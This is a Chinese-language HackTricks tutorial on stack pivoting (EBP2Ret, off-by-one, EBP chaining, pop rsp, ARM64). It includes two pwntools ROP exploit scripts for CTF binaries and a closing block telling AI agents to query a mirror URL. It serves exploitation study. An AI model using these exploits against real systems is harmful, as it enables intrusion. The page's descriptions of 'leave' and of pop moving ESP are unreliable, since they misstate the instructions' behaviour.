# Stack Pivoting - EBP2Ret - EBP chaining

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

这种技术利用了操纵\*\*基指针（EBP）**的能力，通过精心使用EBP寄存器和**`leave; ret`\*\*指令序列来链接多个函数的执行。

作为提醒，\*\*`leave`\*\*基本上意味着：

```
mov       ebp, esp
pop       ebp
ret
```

### EBP2Ret

这种技术在你可以**改变 EBP 寄存器但无法直接改变 EIP 寄存器**时特别有用。它利用了函数执行完毕时的行为。

如果在 `fvuln` 执行期间，你成功地在栈中注入一个指向内存中你的 shellcode 地址的**伪造 EBP**（再加上 4 个字节以考虑 `pop` 操作），你就可以间接控制 EIP。当 `fvuln` 返回时，ESP 被设置为这个精心构造的位置，随后的 `pop` 操作将 ESP 减少 4，**有效地使其指向攻击者在其中存储的地址。**\
注意你**需要知道 2 个地址**：ESP 将要到达的地址，你需要在那里写入 ESP 指向的地址。

#### 攻击构造

首先，你需要知道一个**可以写入任意数据/地址的地址**。ESP 将指向这里并**运行第一个 `ret`**。

然后，你需要知道 `ret` 使用的地址，将**执行任意代码**。你可以使用：

* 一个有效的 [**ONE\_GADGET**](https://github.com/david942j/one_gadget) 地址。
* **`system()`** 地址，后跟**4 个无效字节**和 `"/bin/sh"` 地址（x86 位）。
* 一个\*\*`jump esp;`\*\* gadget 地址（[**ret2esp**](/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md)），后跟要执行的**shellcode**。
* 一些 [**ROP**](/binary-exploitation/rop-return-oriented-programing.md) 链

请记住，在受控内存部分的任何这些地址之前，必须有\*\*`4` 个字节\*\*，因为 `leave` 指令的 `pop` 部分。可以滥用这 4B 来设置**第二个伪造 EBP**并继续控制执行。

#### Off-By-One Exploit

这种技术的一个特定变体称为“Off-By-One Exploit”。当你**只能修改 EBP 的最低有效字节**时使用。在这种情况下，存储要跳转到的地址的内存位置与 EBP 的前三个字节必须相同，允许在更受限制的条件下进行类似的操作。\
通常修改字节 0x00 以跳转尽可能远。

此外，通常在栈中使用 RET 滑梯，并将真正的 ROP 链放在末尾，以使新 ESP 更有可能指向 RET 滑梯内部并执行最终的 ROP 链。

### **EBP 链接**

因此，在栈的 `EBP` 条目中放置一个受控地址，并在 `EIP` 中放置一个指向 `leave; ret` 的地址，就可以**将 `ESP` 移动到栈中受控的 `EBP` 地址**。

现在，**`ESP`** 被控制，指向一个期望的地址，下一个要执行的指令是 `RET`。为了滥用这一点，可以在受控 ESP 位置放置以下内容：

* **`&(下一个伪造 EBP)`** -> 加载新的 EBP，因为 `leave` 指令中的 `pop ebp`
* **`system()`** -> 被 `ret` 调用
* **`&(leave;ret)`** -> 在 system 结束后调用，它将移动 ESP 到伪造 EBP 并重新开始
* **`&("/bin/sh")`**-> `system` 的参数

基本上，通过这种方式可以链接多个伪造的 EBP 来控制程序的流程。

这就像一个 [ret2lib](/binary-exploitation/rop-return-oriented-programing/ret2lib.md)，但更复杂，没有明显的好处，但在某些边缘情况下可能会很有趣。

此外，这里有一个[**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)，使用这种技术和一个**栈泄漏**来调用一个获胜函数。这是页面上的最终有效载荷：

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())
```

## EBP可能不会被使用

正如[**在这篇文章中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1)，如果一个二进制文件被编译时进行了一些优化，**EBP永远无法控制ESP**，因此，任何通过控制EBP来工作的利用都基本上会失败，因为它没有任何真正的效果。\
这是因为如果二进制文件被优化了，**函数的前导和尾声会发生变化**。

* **未优化：**

```bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
```

* **优化：**

```bash
push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return
```

## 控制 RSP 的其他方法

### **`pop rsp`** 机关

[**在这个页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)中，您可以找到使用这种技术的示例。对于这个挑战，需要调用一个带有两个特定参数的函数，并且有一个\*\*`pop rsp` 机关**以及**来自堆栈的泄漏\*\*：

```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())
```

### xchg \<reg>, rsp 交换指令

```
pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp
```

### jmp esp

在这里查看ret2esp技术：

{% content-ref url="/pages/SbxlaAdeDwpO0QlLy594" %}
[Ret2esp / Ret2reg](/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}

## 参考资料和其他示例

* <https://bananamafia.dev/post/binary-rop-stackpivot/>
* <https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting>
* <https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html>
* 64位，通过一个以ret sled开头的rop链进行的一个利用
* <https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html>
* 64位，无relro，canary，nx和pie。程序提供了一个用于获取堆栈或pie泄漏以及qword的WWW的泄漏。首先获取堆栈泄漏，然后使用WWW返回并获取pie泄漏。然后使用WWW创建一个滥用`.fini_array`条目+调用`__libc_csu_fini`的永久循环（[更多信息请参见此处](/binary-exploitation/write-what-where-2-exec/www2exec-.dtors-and-.fini_array.md)）。通过滥用这种“永久”写入，在.bss中编写了一个ROP链，并最终调用它通过RBP进行枢轴转换。

## ARM64

在ARM64中，函数的**入口和出口**不会在堆栈中存储和检索SP寄存器。此外，**`RET`指令不会返回到SP指向的地址，而是返回到`x30`内的地址**。

因此，默认情况下，仅仅滥用出口，您将无法通过覆盖堆栈内的某些数据来控制SP寄存器。即使您设法控制SP，您仍需要一种方法来\*\*控制`x30`\*\*寄存器。

* 入口

```armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP指向帧记录
```

* 出口

```armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
```

{% hint style="danger" %}
在ARM64中执行类似于堆栈枢轴的方法是能够**控制`SP`**（通过控制某个将值传递给`SP`的寄存器或者因为某种原因`SP`正在从堆栈中获取其地址并且我们有一个溢出）然后滥用出口从\*\*受控`SP`**加载**`x30`**寄存器并**`RET`\*\*到它。
{% endhint %}

此外，在以下页面中，您可以看到ARM64中**Ret2esp的等效**：

{% content-ref url="/pages/SbxlaAdeDwpO0QlLy594" %}
[Ret2esp / Ret2reg](/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
